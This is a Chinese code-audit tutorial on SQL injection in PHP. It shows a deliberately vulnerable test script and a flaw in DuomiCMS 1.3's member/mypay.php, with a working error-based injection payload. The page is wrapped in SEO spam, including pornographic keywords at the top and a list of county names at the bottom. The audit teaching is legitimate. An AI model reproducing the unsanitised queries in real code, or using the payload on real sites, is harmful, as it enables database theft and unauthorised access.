91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP代碼審計SQL注入篇

發布時間:2020-06-23 11:53:29 來源:網絡 閱讀:1917 作者:jzking121 欄目:數據庫

什么是SQL注入

SQL注入***(SQL Injection),簡稱注入***,是Web開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。

而造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使***者成功的向服務器提交惡意的SQL查詢代碼,程序在接收后錯誤的將***者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了***者精心構造的惡意代碼。

SQL注入實例

很多Web開發者沒有意識到SQL查詢是可以被篡改的,從而把SQL查詢當作可信任的命令。殊不知,SQL查詢是可以繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能通過SQL查詢去運行主機系統級的命令。

下面將通過一些真實的例子來詳細講解SQL注入的方式。

 PHP代碼審計SQL注入篇
 

測試代碼如下:

  1. <?php
  2. $uid=$_GET['id'];
  3. $sql="SELECT * FROM userinfo where id=$uid";
  4. $conn=mysql_connect ('localhost','root','root');
  5. mysql_select_db("sql",$conn);
  6. $result=mysql_query($sql,$conn);
  7. print_r('當前SQL語句: '.$sql.'
    結果: '
    );
  8. print_r(mysql_fetch_row($result));
  9. ?>
PHP代碼審計SQL注入篇
 
首先我們看一下代碼:
  1. $uid=$_GET['id']; //獲取GET值
  1. $sql="SELECT * FROM userinfo where id=$uid"; //執行SQL語句
  1. $conn=mysql_connect ('localhost','root','root');
  2. mysql_select_db("sql",$conn); //數據庫配配置
  1. $result=mysql_query($sql,$conn); //進行查詢SQL語句
  1. print_r('當前SQL語句: '.$sql.'
    結果: '
    );
  2. print_r(mysql_fetch_row($result)); //進行打印輸出沒有任何的過濾所以利用簡單的SQL注入語句就可以直接查詢相關需要的信息。
PHP代碼審計SQL注入篇
 
從截圖可以看出原本的SQL語句已被注入更改,使用了UNION查詢到當前用戶。

另外一個多米CMS最新版1.3版本注入實例。
漏洞文件member/mypay.php(14-40行)
  1. if(empty($_SESSION['duomi_user_id'])){
  2. showMsg("請先登錄","login.php");
  3. exit();
  4. }
  5. elseif($dm=='mypay'){
  6. $key=$_POST['cardkey'];
  7. if($key==""){showMsg("請輸入充值卡號","-1");exit;}
  8. $pwd=$_POST['cardpwd'];
  9. if($pwd==""){showMsg("請輸入充值卡密碼","-1");exit;}
  10. $sqlt="SELECT * FROM duomi_card where ckey='$key'";
  11. $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
  12. $row1 = $dsql->GetOne($sqlt);
  13. if(!is_array($row1) OR $row1['status']<>0){
  14. showMsg("充值卡信息有誤","-1");exit;
  15. }else{
  16. $uname=$_SESSION['duomi_user_name'];
  17. $points=$row1['climit'];
  18. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
  19. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
  20. $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
  21. showMsg("恭喜!充值成功!","mypay.php");exit;
  22. }
  23. }
  24. else
  25. {

此處的”cardpwd”變量沒有進行過濾就以POST提交方式傳入了數據庫造成注入。 構造POC如下(注意此處需要注冊用戶并且登陸詳情請看該文件1-17行):
  1. http://localhost/member/mypay.php?dm=mypay
  2. POSTcardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1

PHP代碼審計SQL注入篇
 



來自為知筆記(Wiz)


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

噶尔县| 祁阳县| 天长市| 获嘉县| 兴国县| 海盐县| 工布江达县| 莱芜市| 博乐市| 双峰县| 交口县| 兴山县| 徐水县| 景德镇市| 龙里县| 海晏县| 庐江县| 新乡市| 武鸣县| 墨竹工卡县| 灵石县| 会昌县| 东台市| 嵩明县| 施甸县| 博罗县| 张家界市| 昭觉县| 神农架林区| 色达县| 定南县| 乌兰察布市| 木里| 来宾市| 海门市| 中宁县| 固镇县| 久治县| 鄂伦春自治旗| 太原市| 应城市|